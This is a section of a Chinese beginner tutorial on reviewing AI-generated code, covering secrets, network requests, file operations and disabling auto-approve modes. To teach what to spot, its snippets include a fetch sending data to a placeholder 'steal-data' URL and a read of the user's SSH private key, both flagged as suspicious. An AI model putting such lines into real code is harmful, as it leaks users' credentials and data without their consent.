Skip to content

5.3.6 永远审查代码:最重要的安全习惯

经过本节学习,你将了解:

  • 为什么代码审查如此重要
  • 如何审查你不完全理解的代码
  • 关于"自动批准模式"的建议
  • 建立可持续的审查习惯

令人担忧的数据

根据 2025 年的开发者调查:

  • 只有 67% 的开发者在部署前审查代码
  • 超过 40% 的初学者承认部署了不完全理解的 AI 生成代码
  • 33% 的开发者表示会直接复制粘贴 AI 生成的代码

这意味着:很多人正在使用他们并不真正理解的代码。

什么是"真正的"Vibe Coding?

Simon Willison(AI 领域知名专家、Django 核心贡献者)对此有一个有趣的观点:

"如果 AI 写了所有代码,但你审查、测试并理解了它,那不是 Vibe Coding——那是用 AI 当打字助手。"

换句话说:

做法类型风险
AI 生成 → 审查 → 测试 → 部署用 AI 辅助开发较低
AI 生成 → 直接部署纯 Vibe Coding较高

我们在本教程中倡导的是有意识的 AI 辅助开发:充分利用 AI 的能力,但保持人类的判断和审查。

如何审查你不完全理解的代码

你可能会想:我是初学者,根本看不懂代码,怎么审查?

好消息是:你不需要完全理解每一行代码,就可以进行有意义的审查。

检查项一:敏感信息

即使不懂代码,你也能识别这些模式:

javascript
// 问自己:这里有没有看起来像密钥的东西?
const key = "sk-abc123..."  // 这看起来像密钥
const key = process.env.KEY  // 这是正确的方式

检查项二:可疑的网络请求

留意代码是否在向你不认识的地址发送数据:

javascript
// 问自己:这个网址是我知道的服务吗?
fetch("https://api.openai.com/...")  // 正常,OpenAI 官方
fetch("https://random-site.xyz/steal-data")  // 可疑

检查项三:文件操作

注意代码是否在读写文件,特别是敏感路径:

javascript
// 问自己:为什么要读取这些文件?
fs.readFile("~/.ssh/id_rsa")  // 危险!在读取 SSH 私钥
fs.readFile("./data.json")    // 正常,读取项目内的数据

检查项四:让 AI 帮你审查

你可以让另一个 AI(或同一个 AI)来检查代码:

请审查以下代码,检查是否有:
1. 硬编码的密钥或密码
2. 可疑的网络请求
3. 不安全的文件操作
4. 其他安全隐患

[粘贴代码]

技巧

用一个 AI 来审查另一个 AI 的代码,可以发现一些明显的问题。但这不能替代你自己的判断。

关闭自动批准模式

一些 AI IDE 提供了"自动批准"或"Yolo 模式",允许 AI 不经你确认就执行命令或修改文件。

初学者应该关闭此功能。

原因:

  1. 你需要看到 AI 在做什么,才能学习
  2. AI 可能做出你不想要的更改
  3. 如果出错,你无法及时阻止

每个操作都手动确认,虽然慢一点,但更安全,也能帮助你理解发生了什么。

建立可持续的审查习惯

代码审查不需要花很多时间。建立以下习惯:

每次 AI 生成代码后

  • [ ] 快速扫一眼,有没有看起来像密钥的字符串
  • [ ] 如果有网络请求,确认目标地址是你知道的
  • [ ] 如果看不懂某段代码在做什么,问 AI 解释

每次准备提交/部署前

  • [ ] 运行安全检查清单(5.3.4 节)
  • [ ] 确认 .env 文件没有被包含

定期回顾

  • [ ] 检查项目依赖是否需要更新
  • [ ] 确认没有新的安全警告

记住这个原则

核心原则

AI 生成的代码,最终责任在你。

这不是为了吓你,而是提醒你:保持审查习惯,是保护自己的最好方式。

5.3.7 本节要点总结